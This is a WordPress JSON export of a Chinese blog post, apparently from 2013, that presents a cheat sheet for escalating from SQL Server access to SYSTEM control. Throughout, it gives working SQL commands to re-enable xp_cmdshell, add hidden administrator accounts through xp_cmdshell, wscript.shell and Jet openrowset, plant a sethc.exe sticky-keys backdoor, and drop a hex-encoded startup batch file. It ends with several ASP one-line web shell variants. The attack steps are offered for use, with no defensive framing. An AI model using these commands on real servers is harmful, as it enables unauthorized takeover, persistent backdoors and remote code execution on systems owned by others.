{"id":164,"date":"2013-08-22T08:00:00","date_gmt":"2013-08-22T00:00:00","guid":{"rendered":"http:\/\/31.0.2.219:81\/?p=164"},"modified":"2014-03-11T15:05:53","modified_gmt":"2014-03-11T07:05:53","slug":"sqlserver%e6%8f%90%e6%9d%83%e6%93%8d%e4%bd%9c","status":"publish","type":"post","link":"http:\/\/www.huike007.cn\/?p=164","title":{"rendered":"sqlserver\u63d0\u6743\u64cd\u4f5c"},"content":{"rendered":"<p>\u5f97\u5230SQLserver\u7684\u6743\u9650\uff0c\u60f3\u8fdb\u4e00\u6b65\u5f97\u5230system\u6743\u9650\u7684\u65b9\u6cd5\u603b\u7ed3<br \/>\n*************************** \u5229\u7528xp_cmdshell ***********************************<br \/>\n\u4e00.\u66f4\u6539sa\u53e3\u4ee4\u65b9\u6cd5\uff1a<br \/>\n\u7528sql\u7efc\u5408\u5229\u7528\u5de5\u5177\u8fde\u63a5\u540e\uff0c\u6267\u884c\u547d\u4ee4\uff1a<br \/>\nexec sp_password NULL,&#39;\u65b0\u5bc6\u7801&#39;,&#39;sa&#39;<br \/>\n(\u63d0\u793a\uff1a\u614e\u7528!)<br \/>\n\u4e8c.\u7b80\u5355\u4fee\u8865sa\u5f31\u53e3\u4ee4.<br \/>\n\u65b9\u6cd51:\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e\u6267\u884c\uff1a<br \/>\nif exists (sel&#101;ct * from<br \/>\ndbo.sysobjects wh&#101;re id = object_id(N&#39;[dbo].[xp_cmdshell]&#39;) and<br \/>\nOBJECTPROPERTY(id, N&#39;IsExtendedProc&#39;) = 1)<br \/>\nexec sp_dro&#112;extendedproc N&#39;[dbo].[xp_cmdshell]&#39;<br \/>\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5<br \/>\n\u65b9\u6cd52:\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e<br \/>\n\u7b2c\u4e00\u6b65\u6267\u884c\uff1ause master<br \/>\n\u7b2c\u4e8c\u6b65\u6267\u884c\uff1asp_dro&#112;extendedproc &#39;xp_cmdshell&#39;<br \/>\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5<br \/>\n\u4e09.\u6062\u590dxp_cmdshell<br \/>\n\u7b80\u5355\u6062\u590dxp_cmdshell<br \/>\n;EXEC master.dbo.sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xplog70.dll&#39;&#8211;<br \/>\n1.\u672a\u80fd\u627e\u5230\u5b58\u50a8\u8fc7\u7a0b&#39;master..xpcmdshell&#39;.<br \/>\n\u6062\u590d\u65b9\u6cd5\uff1a\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,<br \/>\n\u7b2c\u4e00\u6b65\u6267\u884c:EXEC sp_addextendedproc xp_cmdshell,@dllname =&#39;xplog70.dll&#39;declare @o int<br \/>\n\u7b2c\u4e8c\u6b65\u6267\u884c:sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xpsql70.dll&#39;<br \/>\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5<br \/>\n2.\u65e0\u6cd5\u88c5\u8f7d DLL xpsql70.dll \u6216\u8be5DLL\u6240\u5f15\u7528\u7684\u67d0\u4e00DLL\u3002\u539f\u56e0126(\u627e\u4e0d\u5230\u6307\u5b9a\u6a21\u5757)<br \/>\n\u6062\u590d\u65b9\u6cd5\uff1a\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,<br \/>\n\u7b2c\u4e00\u6b65\u6267\u884c\uff1asp_dro&#112;extendedproc &#34;xp_cmdshell&#34;<br \/>\n\u7b2c\u4e8c\u6b65\u6267\u884c\uff1asp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xpsql70.dll&#39;<br \/>\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5<br \/>\n3.\u65e0\u6cd5\u5728\u5e93 xpweb70.dll \u4e2d\u627e\u5230\u51fd\u6570 xp_cmdshell\u3002\u539f\u56e0: 127(\u627e\u4e0d\u5230\u6307\u5b9a\u7684\u7a0b\u5e8f)<br \/>\n\u6062\u590d\u65b9\u6cd5\uff1a\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,<br \/>\n\u7b2c\u4e00\u6b65\u6267\u884c:exec sp_dro&#112;extendedproc &#39;xp_cmdshell&#39;<br \/>\n\u7b2c\u4e8c\u6b65\u6267\u884c:exec sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;xpweb70.dll&#39;<br \/>\n\u7136\u540e\u6309F5\u952e\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5<br \/>\n\u56db\u3001\u5229\u7528xp_cmdshell<br \/>\nexec master..xp_cmdshell &#39;ver&#39;<br \/>\nexec master.dbo.xp_cmdshell &#39;net user test test \/add&#39;<br \/>\nexec master.dbo.xp_cmdshell &#39;net localgroup administrators test \/add&#39;<br \/>\n\u4e94.SQL Server2005\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4e00\u4e9b\u5b58\u50a8\u8fc7\u7a0b\u662f\u5173\u95ed\u7740\u7684\uff0c\u9700\u8981\u547d\u4ee4\u6253\u5f00<br \/>\n\u5f00\u542fxp_cmdshell:<br \/>\nexec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure&#39;xp_cmdshell&#39;, 1;RECONFIGURE;<br \/>\n\u5173\u95edxp_cmdshell:<br \/>\nexec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure&#39;xp_cmdshell&#39;, 0;RECONFIGURE;<br \/>\n\u5f00\u542f&#39;OPENROWSET&#39;:<br \/>\nexec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure&#39;Ad Hoc Distributed Queries&#39;,1;RECONFIGURE;<br \/>\n\u5f00\u542f&#39;sp_oacr&#101;ate&#39;:<br \/>\nexec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure&#39;Ole Automation Procedures&#39;,1;RECONFIGURE;<br \/>\n******************************* \u5229\u7528wscript.shell *****************************************<br \/>\n\u4f7f\u7528wscript.shell\u76f4\u63a5\u6dfb\u52a0\u7cfb\u7edf\u5e10\u6237:<br \/>\n\u67e5\u8be2\u5206\u79bb\u5668\u8fde\u63a5\u540e,xp\u62162003server\u7cfb\u7edf\u4e0b\u4f7f\u7528:<br \/>\ndeclare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\\windows\\system32\\cmd.exe \/c net user \u65b0\u7528\u6237 \u5bc6\u7801 \/add&#39;<br \/>\ndeclare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\\windows\\system32\\cmd.exe \/c net localgroup administrators \u65b0\u7528\u6237 \/add&#39;<br \/>\n************************************ \u5229\u7528SQL\u6c99\u76d2\u6a21\u5f0f ********************************<br \/>\nnote:\u4ec0\u4e48\u662f\u6c99\u76d2\u6a21\u5f0f?<br \/>\n\u6c99\u76d2\u6a21\u5f0f\u662f\u6570\u636e\u5e93\u7684\u4e00\u79cd\u5b89\u5168\u529f\u80fd.\u5728\u6c99\u76d2\u6a21\u5f0f\u4e0b,\u53ea\u5bf9\u63a7\u4ef6\u548c\u5b57\u6bb5\u5c5e\u6027\u4e2d\u7684\u5b89\u5168\u4e14\u4e0d\u542b\u6076\u610f\u4ee3\u7801\u7684\u8868\u8fbe\u5f0f\u6c42\u503c.\u5982\u679c\u8868\u8fbe\u5f0f\u4e0d\u4f7f\u7528\u53ef\u80fd\u4ee5\u67d0\u79cd\u65b9\u5f0f\u635f\u574f\u6570\u636e\u7684\u51fd\u6570\u6216\u5c5e\u6027\uff0c\u5219\u53ef\u8ba4\u4e3a\u5b83\u662f\u5b89\u5168\u7684.<br \/>\n\u9996\u5148\u5f00\u542f\u6c99\u76d2\u6a21\u5f0f\uff1a<br \/>\nexec master..xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\\Microsoft\\Jet\\4.0\\Engines&#39;,&#39;SandBoxMode&#39;,&#39;REG_DWORD&#39;,0;&#8211;<br \/>\n\u7136\u540e\u5229\u7528jet.oledb\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<br \/>\nsel&#101;ct * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\\windows\\system32\\ias\\ias.mdb&#39;,&#39;sel&#101;ct shell(&#34;cmd.exe \/c net user test 1234 \/add&#34;)&#39;)<br \/>\nsel&#101;ct * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\\windows\\system32\\ias\\ias.mdb&#39;,&#39;sel&#101;ct shell(&#34;cmd.exe \/c net localgroup administrators test \/add&#34;)&#39;)<br \/>\n\u641e\u5b9a ^_^ !<br \/>\n******************** sa\u65e0xp_cmdshell\u4e0b\u7684\u63d0\u6743 ***********************<br \/>\n\u4ee3\u7801:<br \/>\ndeclare @o int<br \/>\nexec sp_oacr&#101;ate &#39;scripting.filesystemobject&#39;, @o out<br \/>\nexec sp_oamethod @o, &#39;copyfile&#39;,null,&#39;c:\\windows\\explorer.exe&#39; ,&#39;c:\\windows\\system32\\sethc.exe&#39;;<br \/>\n\u4ee3\u7801:<br \/>\ndeclare @oo int<br \/>\nexec sp_oacr&#101;ate &#39;scripting.filesystemobject&#39;, @oo out<br \/>\nexec sp_oamethod @oo, &#39;copyfile&#39;,null,&#39;c:\\windows\\system32\\sethc.exe&#39; ,&#39;c:\\windows\\system32\\dllcache\\sethc.exe&#39;;<br \/>\n\u6210\u529f\u540e3389\u767b\u9646\u6309\u4e94\u6b21shift\u952e\u3002\u6210\u529f\u8fdb\u5165\u670d\u52a1\u5668\u3002<br \/>\n\u4e00\u76f4\u5411\u4e0a\u70b9\u201d\u6211\u7684\u7535\u8111\u201c\u53f3\u952e\u201c\u7ba1\u7406\u201d \u7528\u6237\u7ba1\u7406\u76f4\u63a5\u52a0\u7528\u6237\u3002<br \/>\n****************************** \u8d85\u5fc5\u6740:\u5229\u7528db_owner *************************<br \/>\n\u5148\u6d4b\u8bd5xp_cmdshell\u662f\u5426\u53ef\u7528<br \/>\nexec master..xp_cmdshell &#39;ver&#39;<br \/>\n\u63d0\u793a\u6743\u9650\u62d2\u7edd\uff0cdb_owner\u6743\u9650.<br \/>\n\u5229\u7528xp_dirtree\u5217\u76ee\u5f55<br \/>\nexec master..xp_dirtree &#39;c:\\&#39;,1,1<br \/>\n\u67e5\u770b\u542f\u52a8\u9879<br \/>\nexec master..xp_dirtree &#39;C:\\Documents and Settings\\Administrator\\\u300c\u5f00\u59cb\u300d\u83dc\u5355\\\u7a0b\u5e8f\\\u542f\u52a8&#39;,1,1<br \/>\n\u5217\u6570\u636e\u5e93<br \/>\nSel&#101;ct DB_NAME()<br \/>\n\u5229\u7528url\u6216\u8005sql\u67e5\u8be2\u5668log\u5907\u4efdbat\u6216\u4e00\u53e5\u8bdd<br \/>\nalt&#101;r database [northwind] set RECOVERY FULL&#8211;<br \/>\ncr&#101;ate table cmd (a image)&#8211;<br \/>\nbackup log [northwind] to disk = &#39;c:\\cmd1&#39; with init&#8211;<br \/>\nins&#101;rt into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)&#8211;<br \/>\nbackup log [northwind] to disk = &#39;C:\\Documents and Settings\\Administrator\\\u300c\u5f00\u59cb\u300d\u83dc\u5355\\\u7a0b\u5e8f\\\u542f\u52a8\\start.bat&#39;&#8211;<br \/>\ndro&#112; table cmd&#8211;<br \/>\n\u518d\u53bb\u67e5\u770b\u4e00\u4e0b\u542f\u52a8\u9879\u5c31\u6709\u4e00\u4e2abat\u4e86<br \/>\nexec master..xp_dirtree &#39;C:\\Documents and Settings\\Administrator\\\u300c\u5f00\u59cb\u300d\u83dc\u5355\\\u7a0b\u5e8f\\\u542f\u52a8&#39;,1,1<br \/>\n\u6700\u540e,\u7b49\u7740administrator\u91cd\u65b0\u767b\u9646\u6216\u8005\u91cd\u542f\u5c31OK\u4e86!<br \/>\nnote:bat\u6587\u4ef6\u662fshift\u811a\u672c\u5c31\u662fshift\u540e\u95e8,\u7528HEX\u8f6c\u768416\u8fdb\u5236,\u53ef\u4fee\u6539\u66ff\u6362.<br \/>\n************************ \u5b58\u50a8\u8fc7\u7a0b\u5199\u6587\u4ef6 *************************<br \/>\nexec master.dbo.xp_subdirs &#39;c:\\www\\&#39;;<br \/>\nexec sp_makewebtask &#39;c:\\www\\hack.asp&#39;,&#39;sel&#101;ct&#39;&#39;&lt;%execute(request(&#34;SB&#34;))%&gt;&#39;&#39; &#39;<br \/>\ndeclare @o int, @f int, @t int, @ret int<br \/>\nexec sp_oacr&#101;ate &#39;scripting.filesystemobject&#39;, @o out<br \/>\nexec sp_oamethod @o, &#39;cr&#101;atetextfile&#39;, @f out, &#39;c:\\testing.txt&#39;, 1<br \/>\nexec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,&lt;&lt;testing&gt;&gt;<br \/>\n*********************** \u4e00\u53e5\u8bdd\u8868\u8fbe\u5f0f\u4e3a,\u5bb9\u9519\u6539Execute\u4e3aEval *************<br \/>\n&lt;%%25Excute(request(&#34;sb&#34;))%%25&gt;<br \/>\n&lt;%Excute(request(&#34;sb&#34;))%&gt;<br \/>\n%&gt;&lt;%execute request(&#34;sb&#34;)%&gt;&lt;%<br \/>\n&lt;script language=VBscri&#112;t runat=server&gt;execute request(&#34;sb&#34;)&lt;\/script&gt;<br \/>\n&lt;%25Execute(request(&#34;sb&#34;))%25&gt;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5f97\u5230SQLserver\u7684\u6743\u9650\uff0c\u60f3\u8fdb\u4e00\u6b65\u5f97\u5230system\u6743\u9650\u7684\u65b9\u6cd5\u603b\u7ed3 ******************** [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[180,178],"tags":[264],"_links":{"self":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/164"}],"collection":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=164"}],"version-history":[{"count":1,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/164\/revisions"}],"predecessor-version":[{"id":265,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/164\/revisions\/265"}],"wp:attachment":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=164"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=164"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=164"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}